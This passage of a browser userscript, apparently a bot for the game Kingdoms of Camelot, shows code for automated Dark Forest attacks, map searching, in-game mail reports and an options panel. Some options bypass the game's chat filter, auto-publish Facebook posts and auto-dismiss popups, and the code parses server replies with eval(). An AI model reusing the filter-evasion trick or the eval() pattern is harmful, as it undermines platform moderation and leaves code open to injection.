                     if (rslt.error_code == 210) AttackOptions.BarbsFailedRP++;
                     if (rslt.error_code == 4)document.getElementById('dferrorlog').innerHTML = '<FONT color=red>'+dtime.toLocaleString()+' '+Cities.byID[cityID].name+' dark forest failed: Not enough units</FONT>';
                     if (rslt.error_code == 8) {
						 AttackOptions.BarbsFailedTraffic++;
						 t.doBarb(cityID,counter,xcoord,ycoord,level,kid,trps);
						 return;
					 }
                     if (rslt.error_code == 104) {
                       AttackOptions.BarbsFailedBog++;
                       GM_setValue('DF_' + Seed.player['name'] + '_city_' + counter + '_' + getServerId(), JSON2.stringify(t.barbArray[counter]));
                       new t.barbing();
                       saveAttackOptions();
                     }
                     document.getElementById('pberror2').innerHTML = 'Excess Traffic errors:' + AttackOptions.BarbsFailedTraffic;
                     document.getElementById('pberror3').innerHTML = 'Rally Point errors: '+ AttackOptions.BarbsFailedRP;
                     document.getElementById('pberror4').innerHTML = 'Knight errors:' + AttackOptions.BarbsFailedKnight;
                     document.getElementById('pberror5').innerHTML = 'Other errors:' + AttackOptions.BarbsFailedVaria;
                     document.getElementById('pberror6').innerHTML = 'Bog errors:' + AttackOptions.BarbsFailedBog;
                     //unsafeWindow.Modal.showAlert(printLocalError((rslt.error_code || null), (rslt.msg || null), (rslt.feedback || null)))
                     }
           
           
           });
       //saveAttackOptions();
  },
  
  sendreport: function(){
    var t = Tabs.Barb;
    if(!AttackOptions.MsgEnabled) return;
    if(!AttackOptions.Running) return;
    
    var now = new Date().getTime()/1000.0;
    now = now.toFixed(0);
    if (now < (parseInt(AttackOptions.LastReport)+(AttackOptions.MsgInterval*60*60))) return;
    
    var total = 0;
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.emailTo = Seed.player['name'];
    params.subject = "AutoDF Overview";
	var message = 'AutoDF Report for '+ AttackOptions.MsgInterval +' hour(s) of DF hunting (or since last report) %0A';
    
	message += '%0A Aetherstone Status: %0A';
	var totaldf = 0;
	for (q=1;q<=Seed.cities.length;q++){
		var cityID = 'city' + Seed.cities[q-1][0];

		totaldf += Number(AttackOptions.BarbsDone[q]);
		message+= Seed.cities[q-1][1] + ': ' + AttackOptions.BarbsDone[q] + ' attacks' + '%0A';        
		var gain = parseInt(Seed.resources[cityID]['rec5'][0] ) - AttackOptions.AetherStatus[q];
		message+= Seed.cities[q-1][1] + ': Start: ' + addCommas(AttackOptions.AetherStatus[q]) + ' End :' + addCommas(parseInt(Seed.resources[cityID]['rec5'][0] )) + ' Gain: ';
		message += addCommas(gain)  + '%0A';
		total += gain;
		AttackOptions.AetherStatus[q] = parseInt(Seed.resources[cityID]['rec5'][0] );
    }
	message += '%0A Total Aetherstone gain : '+addCommas(total)+'%0A';
	message += 'Total outgoing attacks : '+addCommas(totaldf)+'%0A';

	message +='%0A';
	message += 'Miscellaneous Items: %0A';
	for (z in AttackOptions.ItemsFound) {
		message += unsafeWindow.g_js_strings.commonstr.found+' '+unsafeWindow.ksoItems[z].name+' x '+AttackOptions.ItemsFound[z]+'%0A';
	}

	message +='%0A';
	message += 'Jewel Stats: %0A';
	var itemcount = 0;
	for (z in AttackOptions.JewelItemsFound){
		itemcount += AttackOptions.JewelItemsFound[z];
		message += JWQuality[z-1]+' Jewel x '+AttackOptions.JewelItemsFound[z]+'%0A';
	}
	message +='Total Jewels Found: '+itemcount+'%0A';
	
	message +='%0A';
	message += 'Throne Stats: %0A';
	var itemcount = 0;
	for (z in AttackOptions.ThroneItemsFound){
		itemcount += AttackOptions.ThroneItemsFound[z].amount;
		message += Quality[AttackOptions.ThroneItemsFound[z].quality]+' '+AttackOptions.ThroneItemsFound[z].type+' x '+AttackOptions.ThroneItemsFound[z].amount+'%0A';
	}
	message +='Total Throne Room Items Found: '+itemcount+'%0A';

	message +='%0A';
	message += 'Champion Stats: %0A';
	var itemcount = 0;
	for (z in AttackOptions.ChampItemsFound){
		itemcount += AttackOptions.ChampItemsFound[z].amount;
		message += Quality[AttackOptions.ChampItemsFound[z].quality]+' '+AttackOptions.ChampItemsFound[z].type+' x '+AttackOptions.ChampItemsFound[z].amount+'%0A';
	}
	message +='Total Champion Equipment Found: '+itemcount+'%0A';

	message += '%0A Excess traffic errors: ' + AttackOptions.BarbsFailedTraffic +'%0A';
    message += 'Rallypoint errors: ' + AttackOptions.BarbsFailedRP +'%0A';
    message += 'Knight errors: ' + AttackOptions.BarbsFailedKnight +'%0A';
    message += 'Bog errors: ' + AttackOptions.BarbsFailedBog +'%0A';
    message += 'Other errors: ' + AttackOptions.BarbsFailedVaria +'%0A';
    message += 'Actual sent attacks: ' + (AttackOptions.BarbsTried - AttackOptions.BarbsFailedTraffic - AttackOptions.BarbsFailedRP - AttackOptions.BarbsFailedKnight -  AttackOptions.BarbsFailedVaria) +'%0A';
    params.message = message;  
    
    params.requestType = "COMPOSED_MAIL";
    new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
        method: "post",
        parameters: params,
        onSuccess: function (message) {
            var rslt = eval("(" + message.responseText + ")");
            if (rslt.ok) {
               // Reset stats
               AttackOptions.LastReport = now;
               AttackOptions.BarbsFailedTraffic = 0;
               AttackOptions.BarbsFailedRP = 0;
               AttackOptions.BarbsFailedKnight = 0;
               AttackOptions.BarbsFailedBog = 0;
               AttackOptions.BarbsFailedVaria = 0;
               AttackOptions.BarbsTried = 0;
               AttackOptions.ItemsFound = {};
			   AttackOptions.ThroneItemsFound = {};
			   AttackOptions.ChampItemsFound = {};
		       AttackOptions.JewelItemsFound = {};
               for (q=1; q<=Seed.cities.length;q++){
                  AttackOptions.BarbsDone[q] = 0;
               }
               saveAttackOptions();
            } else {
            }
        },
        onFailure: function () {
        },
    });  
  },
  
  clickedSearch : function (){
    var t = Tabs.Barb;
    
    t.opt.maxDistance = parseInt(AttackOptions.MaxDistance);
    t.opt.searchDistance = t.opt.maxDistance;
    if(t.opt.maxDistance > MAP_SFIELD){
        t.opt.searchDistance = MAP_SFIELD;
    }
    t.opt.searchShape = 'circle';
    t.mapDat = [];
    t.firstX =  t.opt.startX - t.opt.maxDistance;
    t.lastX = t.opt.startX + t.opt.maxDistance;
    t.firstY =  t.opt.startY - t.opt.maxDistance;
    t.lastY = t.opt.startY + t.opt.maxDistance;
    t.tilesSearched = 0;
    t.tilesFound = 0;
    t.curX = t.firstX;
    t.curY = t.firstY;
    var xxx = t.MapAjax.normalize(t.curX);
    var yyy = t.MapAjax.normalize(t.curY);
    var element = 'pddatacity'+(t.lookup-1);
    document.getElementById(element).innerHTML = 'Searching at '+ xxx +','+ yyy;
   var element2 = 'pddataarray'+(t.lookup-1);
   document.getElementById(element2).innerHTML == '';
    setTimeout (function(){t.MapAjax.request (xxx, yyy, t.opt.searchDistance, t.mapCallback)}, MAP_DELAY);
  },
  
  mapCallback : function (left, top, width, rslt){
    var t = Tabs.Barb;
    if (!t.searchRunning)
      return;
    if (rslt.ok){
    map = rslt.data;
    var cityID = 'city' + Seed.cities[t.lookup-1][0];
   var tiles = [];
    for(x in Seed.queue_atkp[cityID]) {
      tiles.push(Seed.queue_atkp[cityID][x].toTileId);
   }
   
    for (k in map){
      if (map[k].tileType==54 && AttackOptions.Levels[t.lookup][map[k].tileLevel]){
         var dist = distance (t.opt.startX, t.opt.startY, map[k].xCoord, map[k].yCoord);
         if(dist <= parseInt(AttackOptions.MaxDistance))
            if(dist <= parseInt(AttackOptions.Distance[map[k].tileLevel]))
            if(tiles.indexOf(map[k].tileId) == -1)
                t.mapDat.push ({time:0,x:map[k].xCoord,y:map[k].yCoord,dist:dist,level:map[k].tileLevel});
             //else logit('skipping '+map[k].xCoord+','+map[k].yCoord);
      }
    }
    
    
    t.tilesSearched += (t.opt.searchDistance*t.opt.searchDistance);

    t.curX += t.opt.searchDistance;
    if (t.curX > t.lastX){
      t.curX = t.firstX;
      t.curY += t.opt.searchDistance;
      if (t.curY == 999 || t.curY > t.lastY){
        t.stopSearch('Found: ' + t.mapDat.length);
        return;
      }
    }
    var x = t.MapAjax.normalize(t.curX);
    var y = t.MapAjax.normalize(t.curY);
    
    
   var element0 = 'pdtotalcity'+(t.lookup-1);
   
    if (t.mapDat.length < 1) document.getElementById(element0).innerHTML = 'No Data';
        else document.getElementById(element0).innerHTML =  'Forests:' + t.mapDat.length;
    var element = 'pddatacity'+(t.lookup-1);
    document.getElementById(element).innerHTML = 'Searching at '+ x +','+ y;
    
    setTimeout (function(){t.MapAjax.request (x, y, t.opt.searchDistance, t.mapCallback)}, MAP_DELAY);
   } else {
      setTimeout (function(){t.MapAjax.request (left, top, t.opt.searchDistance, t.mapCallback)}, MAP_DELAY);
   }
    
  },
  
  callStop: function(){
    var t = Tabs.Barb;
    t.curY=999;
    t.stopSearch('Found: ' + t.mapDat.length);
  },
  
  stopSearch : function (msg){
    var t = Tabs.Barb;
    var element = 'pddatacity'+(t.lookup-1);
        document.getElementById(element).innerHTML = msg;
    GM_setValue('DF_' + Seed.player['name'] + '_city_' + t.lookup + '_' + getServerId(), JSON2.stringify(t.mapDat));
    AttackOptions.Update[t.lookup][0] = unixTime();
    AttackOptions.Update[t.lookup][1]++;
    t.searchRunning = false;
    saveAttackOptions();
    t.checkBarbData();
    return;
  },
  
  hide : function (){
  
  },

  show : function (){
  
  },

};

/*********************************** Log Tab ***********************************/
Tabs.ActionLog = {
  tabOrder: 130,
  tabLabel : 'Log',
  myDiv : null,
  logTab : null,
  maxEntries: 300,
  last50 : [],
  state : null,
    
  init : function (div){
    var t = Tabs.ActionLog;
    t.myDiv = div;
    t.myDiv.innerHTML = '<DIV class=pbStat>ACTION LOG - VERSION: '+ Version+'</div><DIV style="height:535px; max-height:535px; overflow-y:auto">\
      <TABLE cellpadding=0 cellspacing=0 id=pbactionlog class=pbTabLined><TR><TD></td><TD width=95%></td></table></div>';
    t.logTab = document.getElementById('pbactionlog');  
    t.state = 1;
    var a = JSON2.parse(GM_getValue ('log_'+getServerId(), '[]'));
    if (matTypeof(a) == 'array'){
      t.last50 = a;
      for (var i=0; i<t.last50.length; i++)
        t._addTab (t.last50[i].msg, t.last50[i].ts);
    }
    window.addEventListener('unload', t.onUnload, false);
  },

  hide : function (){
  },

  show : function (){
  },

  onUnload : function (){
    var t = Tabs.ActionLog;
    if (!ResetAll) GM_setValue ('log_'+getServerId(), JSON2.stringify(t.last50));
  },
    
  _addTab : function (msg, ts){
    var t = Tabs.ActionLog;
    if (t.state != 1)
      return;
    if (t.logTab.rows.length >= t.maxEntries)
      t.logTab.deleteRow(t.maxEntries-1);
    var row = t.logTab.insertRow(0);
    row.vAlign = 'top';
    row.insertCell(0).innerHTML = ts;
    row.insertCell(1).innerHTML = msg;
  },
  
  log : function (msg){
    var t = Tabs.ActionLog;
    var ts = new Date().toTimeString().substring (0,8);
    t._addTab (msg, ts);
    while (t.last50.length >= 50)
      t.last50.shift();
    t.last50.push ({msg:msg, ts:ts});
  },
}

function actionLog (msg){
  if (!Tabs.ActionLog.tabDisabled)
    Tabs.ActionLog.log (msg);  
}
    

/*********************************** Options Tab ***********************************/
Tabs.Options = {
  tabOrder: 2,
  myDiv : null,
  fixAvailable : {},

  init : function (div){
    var t = Tabs.Options;
    t.myDiv = div;
    try {      
      m = '<DIV style="height:500px; max-height:500px; overflow-y:auto"><TABLE width=100% class=pbOptions cellspacing=0 cellpadding=0>\
        <TR><TD colspan=2><B>'+translate("Power Bot Config:")+'</b></td></tr>\
        <TR><TD><INPUT id=pballowWinMove type=checkbox /></td><TD>'+translate("Enable window drag (move window by dragging top bar with mouse)")+'</td></tr>\
        <TR><TD><INPUT id=pbTrackWinOpen type=checkbox /></td><TD>'+translate("Remember window open state on refresh")+'</td></tr>\
        <TR><TD><INPUT id=pbHideOnGoto type=checkbox /></td><TD>'+translate("Hide window when clicking on map coordinates")+'</td></tr>\
        <TR><TD><INPUT id=pbWideOpt type=checkbox '+ (GlobalOptions.pbWideScreen?'CHECKED ':'') +'/></td><TD>'+translate("Enable widescreen style:")+' '+ htmlSelector({normal:'Normal', wide:'Widescreen', ultra:'Ultra'},GlobalOptions.pbWideScreenStyle,'id=selectScreenMode') +' '+translate("(all domains, requires refresh)")+'</td></tr>\
        <TR><TD><INPUT id=pbsendmeaway type=checkbox '+ (GlobalOptions.pbNoMoreKabam?'CHECKED ':'')+'/></td><TD>'+translate("Send me away from Kabam!")+'</td></tr>\
        <TR><TD><INPUT id=pbupdate type=checkbox '+ (GlobalOptions.pbupdate?'CHECKED ':'') +'/></td><TD>'+translate("Check updates on")+' '+ htmlSelector({0:'Greasyfork', 1:'Google Code'},GlobalOptions.pbupdatebeta,'id=pbupdatebeta') +' '+translate("(all domains)")+' &nbsp; &nbsp; <INPUT id=pbupdatenow type=submit value="'+translate("Update Now")+'" /></td></tr>\
        <TR><TD>&nbsp;&nbsp;&nbsp;-</td><TD>'+translate("Change window transparency between \"0.7 - 2\" ")+'&nbsp <INPUT id=pbtogOpacity type=text size=3 /> <span style="color:#800; font-weight:bold"><sup>'+translate("*Requires Refresh")+'</sup></span></td></tr>\
        <TR><td>&nbsp;&nbsp;&nbsp;-</td><TD>'+translate("Throttle Map Requests:")+' '+ htmlSelector({1200:translate('1.2x Fast'), 4000:translate('4x Normal'), 8000:translate('8x Slow'), 15000:translate('15x Slow'), 20000:translate('20x Slow'), 30000:translate('30x Slow')},Options.MAP_DELAY,'id=pbMAP_DELAY')+'</td></tr>\
      <TR><TD><INPUT id=pblogperms type=checkbox '+ (Options.plog?'CHECKED ':'') +'/></td><TD>'+translate("Occasional logging of data to help with script development")+'</td></tr>\
        <TR><TD><INPUT id=pbRaidBut type=checkbox '+ (Options.raidbtns?'CHECKED ':'') +'/></td><TD>'+translate("Raid toggle buttons on top of screen")+'</td></tr>\
        <TR><TD><INPUT id=pbTransBut type=checkbox '+ (Options.transbtns?'CHECKED ':'') +'/></td><TD>'+translate("Transport toggle button on top of screen")+'</td></tr>\
        <TR><TD><INPUT id=pbReassignBut type=checkbox '+ (Options.reassgnbtns?'CHECKED ':'') +'/></td><TD>'+translate("Reassign toggle button on top of screen")+'</td></tr>\
        <TR><TD><INPUT id=pbDFBut type=checkbox '+ (Options.dfbtns?'CHECKED ':'') +'/></td><TD>'+translate("Dark Forest toggle button on top of screen")+'</td></tr>\
        <TR><TD><INPUT id=pbCrestBut type=checkbox '+ (Options.crestbtns?'CHECKED ':'') +'/></td><TD>'+translate("Crest toggle button on top of screen")+'</td></tr>\
        <TR><TD><INPUT id=pbFarmBut type=checkbox '+ (Options.Farmbtns?'CHECKED ':'') +'/></td><TD>'+translate("Farm toggle button on top of screen")+'</td></tr>\
        <TR><TD><INPUT id=pbThroneHUDBut type=checkbox '+ (Options.ThroneHUD?'CHECKED ':'') +'/></td><TD>'+translate("Throne HUD")+'</td></tr>\
        <TR><TD><INPUT id=pbWWclick type=checkbox '+ (Options.WWclick?'CHECKED ':'') +'/></td><TD>'+translate("Hit OK on multiple window warning popup which causes refresh")+'</td></tr>\
        <TR><TD><INPUT id=pbTreasureChest type=checkbox '+ (Options.TreasureChest?'CHECKED ':'') +'/></td><TD>'+translate("Auto click Treasure Chest finds - Use with Auto publish FB posts")+'</td></tr>\
        <TR><TD><INPUT id=pbloginReward type=checkbox '+ (Options.loginReward?'CHECKED ':'') +'/></td><TD>'+translate("Auto click/accept daily login reward")+'</td></tr>';
		m+= '<TR><TD><INPUT id=pbdetafk type=checkbox '+ (Options.detAFK?'CHECKED ':'')+ '/></td><TD> Do AFK events</td></tr>';
		m+= '<TR><TD><INPUT id=pbexpinc type=checkbox '+ (Options.expinc?'CHECKED ':'')+ '/></td><TD> Post missed and expired incoming marches</td></tr>';
        
        m+='<TR><TD colspan=2><BR><B>'+translate("KofC Features:")+'</b></td></tr>\
        <TR><TD><INPUT id=pbFairie type=checkbox /></td><TD>'+translate("Disable annoying Faire and Court popups")+'</td></tr>\
        <TR><TD><INPUT id=pbWatchEnable type=checkbox '+ (GlobalOptions.pbWatchdog?'CHECKED ':'') +'/></td><TD>'+translate("Refresh if KOC not loaded within 1 minute (all domains)")+'</td></tr>\
        <TR><TD><INPUT id=pbEveryEnable type=checkbox /></td><TD>'+translate("Refresh KOC every")+' <INPUT id=pbeverymins type=text size=2 maxlength=3 \> '+translate("minutes")+'</td></tr>\
        <TR><TD><INPUT id=pbChatREnable type=checkbox /></td><TD>'+translate("Put chat on right (requires wide screen)")+'</td></tr>\
        <TR><TD><INPUT id=pbWMapEnable type=checkbox /></td><TD>'+translate("Use WideMap (requires wide screen)")+'</td></tr>\
        <TR><TD><INPUT id=pbGoldEnable type=checkbox /></td><TD>'+translate("Auto collect gold when happiness reaches")+' <INPUT id=pbgoldLimit type=text size=2 maxlength=3 \>%</td></tr>\
        <TR><TD><INPUT id=pbFoodToggle type=checkbox /></td><TD>Enable Food Alert On less than <INPUT id=pbfoodalertint type=text size=2 maxlength=3 \> Hours of food checked every 15 min)</td></tr>;'
 
        m += '<TR><TD><INPUT id=pbmaintoggle type=checkbox /></td><TD>'+translate("auto select city on startup");
         m+='<select id=pbwhichcity>';
         for(h =0;h < unsafeWindow.seed.cities.length;h++) {
          if(h == Options.smain) 
          m+='<option value='+h+' selected="selected">'+unsafeWindow.seed.cities[h][1]+'</option>';
          else
          m+='<option value='+h+'>'+unsafeWindow.seed.cities[h][1]+'</option>';
       }
      m+='</select>'+'</td></tr>';

        m += '<TR><TD colspan=2><BR><B>'+translate("Extra Features")+':</b></td></tr>\
        <TR><TD><INPUT id=HelReq type=checkbox /></td><TD>'+translate("Help alliance build/research posts")+'</td></tr>\
        <TR><TD><INPUT id=DelReq type=checkbox /></td><TD>'+translate("Hide alliance requests in chat")+'</td></tr>\
        <TR><TD><INPUT id=DelAC type=checkbox /></td><TD>'+translate("Hide alliance chat from global chat")+'</td></tr>\
        <TR><TD><INPUT id=PubReq type=checkbox '+ (GlobalOptions.autoPublishGamePopups?'CHECKED ':'') +'/></td><TD>'+translate("Auto publish Facebook posts for")+' '+ htmlSelector({0:'----', 80:'Everyone', 50:'Friends of Friends', 40:'Friends Only', 10:'Only Me'},GlobalOptions.autoPublishPrivacySetting,'id=selectprivacymode') +' '+translate("(For all domains)")+'<span style="color:#800; font-weight:bold"><sup>'+translate("*Only select ONE of these")+'</sup></span></td>\
        <TR><TD><INPUT id=cancelReq type=checkbox '+ (GlobalOptions.autoCancelGamePopups?'CHECKED ':'') + '/></td><TD>'+translate("Auto cancel Facebook posts")+'<span style="color:#800; font-weight:bold"><sup>'+translate("*Only select ONE of these")+'</sup></span></td>\
        <TR><TD><INPUT id=MapExtra type=checkbox /></td><TD>'+translate("Show Player & Might in map")+'.</td></tr>\
		<tr><TD><INPUT id=MapLevel type=checkbox /></td><TD>'+translate("Show Tile Level in map")+'.</td></tr>\
        <TR><TD><INPUT id=deletetoggle type=checkbox /></td><TD> '+translate("Auto delete barb/transport reports from you")+'</td></tr>\
        <TR><TD><INPUT id=deletes0toggle type=checkbox /></td><TD> '+translate("Auto delete transport reports to you")+'</td></tr>\
        <TR><TD><INPUT id=deletes1toggle type=checkbox /></td><TD> '+translate("Auto delete wild reports")+'</td></tr>\
        <TR><TD><INPUT id=deletesDFtoggle type=checkbox /></td><TD> '+translate("Auto delete DarkForest reports(and log items for DF report)")+'</td></tr>\
        <TR><TD><INPUT id=deletes2toggle type=checkbox /></td><TD> '+translate("Auto delete crest reports regardless of target type")+'</td></tr>\
        <TR><TD><INPUT id=deletes3toggle type=checkbox /></td><TD> '+translate("Auto delete incoming attack reports from alliances I'm friendly to")+'</td></tr>\
        <TR><TD><INPUT id=deletes4toggle type=checkbox /></td><TD> '+translate("Auto delete incoming attack reports from the following UIDs (separated by commas)")+'</td></tr>\
        <TR><TD>&nbsp;</td><TD><input id=pbdeleteuidreps type=text size=100 /></td></tr>\
        <TR><TD><INPUT id=advanced type=checkbox /></td><TD> '+translate("Scripters tab")+'</td></tr>\
        <TR><TD><INPUT id=MAgicBOx type=checkbox /></td><TD> '+translate("Kill merlins magic box's on startup")+'</td></tr>\
        <TR><TD><INPUT id=CFilter type=checkbox /></td><TD><select id=pbfilter>';
        for(c in Filter) {
         if(c == Options.fchar)
            m+='<option value='+c+' selected="selected">'+c+': '+Filter[c]+'</option>';
         else 
            m+='<option value='+c+'>'+c+': '+Filter[c]+'</option>';
      };
        m+='</select>'+translate("Defeat kabam chat filter so some words can be said.  ex \'deSCRIPTion\'")+'</td></tr>\
       <TR><TD><INPUT id=MKLag type=checkbox /></td><TD> '+translate("Fix stalled marches and missing knights.  EXPERIMENTAL")+'</td></tr>\
       <TR><TD><INPUT id=pbColorTab type=checkbox ' + (Options.colorCityTabs?'CHECKED ':'')+ '/></td><TD> Outline city tabs with defense status </td></tr>\
        </table><BR><BR><HR>'+translate("Note that if a checkbox is greyed out there has probably been a change of KofC\'s code, rendering the option inoperable")+'.</div>';
        m += strButton20(translate('Reset ALL Options'), 'id=ResetALL');
      div.innerHTML = m;

      document.getElementById('selectScreenMode').addEventListener ('change', function(){
              GlobalOptions.pbWideScreenStyle = document.getElementById('selectScreenMode').value;
              GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
      },false);    
      document.getElementById('selectprivacymode').addEventListener ('change', function(){
              GlobalOptions.autoPublishPrivacySetting = document.getElementById('selectprivacymode').value;
            GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
      },false);
        
      document.getElementById('PubReq').addEventListener ('change', function(){
              GlobalOptions.autoPublishGamePopups = document.getElementById('PubReq').checked;
            GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
      },false);    
      document.getElementById('cancelReq').addEventListener ('change', function(){
            GlobalOptions.autoCancelGamePopups = document.getElementById('cancelReq').checked;
         GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
      },false);   
      document.getElementById('pbupdatebeta').addEventListener ('change', function(){
              GlobalOptions.pbupdatebeta = document.getElementById('pbupdatebeta').value;
            GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
      },false);    
      document.getElementById('pbupdatenow').addEventListener ('click', function(){
            AutoUpdater(true);
      },false);    
      document.getElementById('pbsendmeaway').addEventListener ('click', function(){
            GlobalOptions.pbNoMoreKabam = document.getElementById('pbsendmeaway').checked;
            GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));
      },false);    
      
      document.getElementById('ResetALL').addEventListener ('click', function(){
              var serverID = getServerId();
              RemoveList = (GM_listValues());
              for (i=0;i<RemoveList.length;i++){
                  logit(RemoveList[i]);
                  GM_deleteValue(RemoveList[i]);
              }
              ResetAll=true;
              reloadKOC();
      },false);

      document.getElementById('pbWatchEnable').addEventListener ('change', t.e_watchChanged, false);
      document.getElementById('pbWideOpt').addEventListener ('change', t.e_wideChanged, false);
      document.getElementById('pbupdate').addEventListener ('change', t.e_updateChanged, false);
      t.changeOpt ('pbtogOpacity', 'Opacity');
      t.togOpt ('pballowWinMove', 'pbWinDrag', mainPop.setEnableDrag);
      t.togOpt ('pbTrackWinOpen', 'pbTrackOpen');
      t.togOpt ('pbHideOnGoto', 'hideOnGoto');
      t.togOpt ('pbFairie', 'pbKillFairie', FairieKiller.setEnable);
      t.togOpt ('pbGoldEnable', 'pbGoldEnable', CollectGold.setEnable);
      t.changeOpt ('pbgoldLimit', 'pbGoldHappy');
      t.togOpt ('pbFoodToggle', 'pbFoodAlert');
      t.changeOpt ('pbfoodalertint', 'pbFoodAlertInt');
      t.togOpt ('pblogperms', 'plog');
      t.changeOpt ('pbeverymins', 'pbEveryMins' , RefreshEvery.setTimer);
      t.togOpt ('pbEveryEnable', 'pbEveryEnable', RefreshEvery.setEnable);
      t.togOpt ('pbChatREnable', 'pbChatOnRight', WideScreen.setChatOnRight);
      t.togOpt ('pbWMapEnable', 'pbWideMap', WideScreen.useWideMap);
      t.togOpt ('pbEveryEnable', 'pbEveryEnable', RefreshEvery.setEnable);
      t.togOpt ('HelReq', 'HelpRequest');
      t.togOpt ('DelReq', 'DeleteRequest');
      t.togOpt ('DelAC', 'DeletegAl');
      t.togOpt ('pbRaidBut', 'raidbtns');
      t.togOpt ('MapExtra', 'MapShowExtra');
      t.togOpt ('MapLevel', 'MapShowLevel');
      t.togOpt ('deletetoggle', 'DeleteMsg');
      t.togOpt ('deletes0toggle', 'DeleteMsgs0');
      t.togOpt ('deletes1toggle', 'DeleteMsgs1');
      t.togOpt ('deletes2toggle', 'DeleteMsgs2');    
      t.togOpt ('deletes3toggle', 'DeleteMsgs3');    
      t.togOpt ('deletes4toggle', 'DeleteMsgs4');    
      t.togOpt ('deletesDFtoggle', 'DeleteMsgsdf');      
      t.changeOpt ('pbdeleteuidreps', 'DeleteMsgsUID');
      t.togOpt ('advanced', 'ScripterTab');          
      t.togOpt ('MAgicBOx', 'KMagicBox');       
      t.togOpt ('pbColorTab', 'colorCityTabs', Tabs.tower.cityBtnColor);
      t.togOpt ('CFilter', 'filter');
      t.togOpt ('MKLag', 'mklag');
      t.togOpt ('pbmaintoggle', 'amain');
      t.togOpt ('pbTransBut', 'transbtns');
      t.togOpt ('pbReassignBut', 'reassgnbtns');
      t.togOpt ('pbDFBut', 'dfbtns');
      t.togOpt ('pbCrestBut', 'crestbtns');
      t.togOpt ('pbFarmBut', 'Farmbtns');
      t.togOpt ('pbThroneHUDBut', 'ThroneHUD');
      t.togOpt ('pbWWclick', 'WWclick');
      t.togOpt ('pbTreasureChest', 'TreasureChest', TreasureChestClik.setEnable, TreasureChestClik.isAvailable);
      t.togOpt ('pbloginReward', 'loginReward');
      t.togOpt ('pbdetafk', 'detAFK');
      t.togOpt ('pbexpinc', 'expinc');
      t.changeOpt ('pbwhichcity', 'smain');
      t.changeOpt ('pbMAP_DELAY','MAP_DELAY');
      t.changeOpt ('pbfilter','fchar');
    } catch (e) {
      div.innerHTML = '<PRE>'+ e.name +' : '+ e.message +'</pre>';  
    }      
  },

  hide : function (){
  },

  show : function (){
  },

  togOpt : function (checkboxId, optionName, callOnChange){
    var t = Tabs.Options;
    var checkbox = document.getElementById(checkboxId);
    if (Options[optionName])
      checkbox.checked = true;
    checkbox.addEventListener ('change', eventHandler, false);
    function eventHandler (){
      Options[optionName] = this.checked;
      saveOptions();
      if (callOnChange)
        callOnChange (this.checked);
    }
  },
  
  changeOpt : function (valueId, optionName, callOnChange){
    var t = Tabs.Options;
    var e = document.getElementById(valueId);
    e.value = Options[optionName];
    e.addEventListener ('change', eventHandler, false);
    function eventHandler (){
      Options[optionName] = this.value;
      saveOptions();
      if (callOnChange)
        callOnChange (this.value);
    }
  },
  
  e_watchChanged : function (){
    GlobalOptions.pbWatchdog = document.getElementById('pbWatchEnable').checked;
    GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));  
  },
  
  e_wideChanged : function (){
    GlobalOptions.pbWideScreen = document.getElementById('pbWideOpt').checked;
    GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));  
  },
  
  e_updateChanged : function (){
    GlobalOptions.pbupdate = document.getElementById('pbupdate').checked;
    GM_setValue ('Options_??', JSON2.stringify(GlobalOptions));  
  },
  
}


/*********************************** Export Tab ***********************************/
Tabs.Export = {
    tabOrder: 800,
    tabLabel: 'Export',
    myDiv : null,

    init : function (div){
        var t = Tabs.Export;
        t.myDiv = div;
        var m = '<div class="pbStat">OPTIONS EXPORT TOOL FOR DOMAIN MERGER</div>\
                 <table>\
                    <tr><td>Move from: <input type="text" value="'+getServerId()+'" id="pbexport_from" /></td>\
                        <td>To: <input type="text" id="pbexport_to" /></td>\
                        <td><input type="submit" value="Copy" id="pbexport_submit" /></td>\
                        <td><input type="checkbox" id="pbexport_overwrite" /> Force overwrite</td>\
                    </tr>\
                 </table>\
                 <div class="pbStat" id="pbexport_status" >SELECT OPTIONS TO MOVE</div>\
                 <table>\
                    <tr><td><input type="checkbox" id="pbexport_general" /></td><td>General Options (Tower/Raid)</td>\
                        <td><input type="checkbox" id="pbexport_throne" /></td><td>Throne Options</td></tr>\
                    <tr><td><input type="checkbox" id="pbexport_crest" /></td><td>Crest Options</td>\
                        <td><input type="checkbox" id="pbexport_train" /></td><td>Train/Craft Options</td></tr>\
                    <tr><td><input type="checkbox" id="pbexport_reassign" /></td><td>Reassign Options</td>\
                        <td><input type="checkbox" id="pbexport_tower" DISABLED /></td><td>Tower Options</td></tr>\
                    <tr><td><input type="checkbox" id="pbexport_build" /></td><td>Build Options</td>\
                        <td><input type="checkbox" id="pbexport_craft" DISABLED /></td><td>Craft Options</td></tr>\
                    <tr><td><input type="checkbox" id="pbexport_transport" /></td><td>Transport Options</td>\
                        <td><input type="checkbox" id="pbexport_raid" /></td><td>Saved Raid Routes</td></tr>\
                    <tr><td><input type="checkbox" id="pbexport_df" /></td><td>DF Options</td>\
                        <td><input type="checkbox" id="pbexport_log" /></td><td>Logs</td></tr>\
                    <tr><td><input type="checkbox" id="pbexport_chat" /></td><td>Chat Options</td>\
                        <td><input type="checkbox" id="pbexport_apothecary" /></td><td>Apothecary Options</td></tr>\
                    <tr><td><input type="checkbox" id="pbexport_farm" /></td><td>Farm Options</td>\
                    <tr><td><input type="checkbox" id="pbexport_thronehistory" /></td><td>Throne Upgrade/Enhance History</td>\
                        <td><input type="checkbox" id="pbexport_thronesalvagehistory" /></td><td>Throne Salvage History</td></tr>\
                 </table>';
        t.myDiv.innerHTML = m;
        $('pbexport_submit').addEventListener('click', function(){
            t.checkexport();
        }, false);
    },
    
    checkexport : function (){
        var t = Tabs.Export;
        var rslt = t.check();
        if(!rslt.ok){
            if(rslt.err){
                var msg = 'The following options already have previously saved data. Continue? <br \>';
                for(var k in rslt.err){
                    switch(rslt.err[k]){
                        case 'general':
                            msg += "General Options, ";
                            break;
                        case 'throne':
                            msg += "Throne Options, ";
                            break;
                        case 'crest':
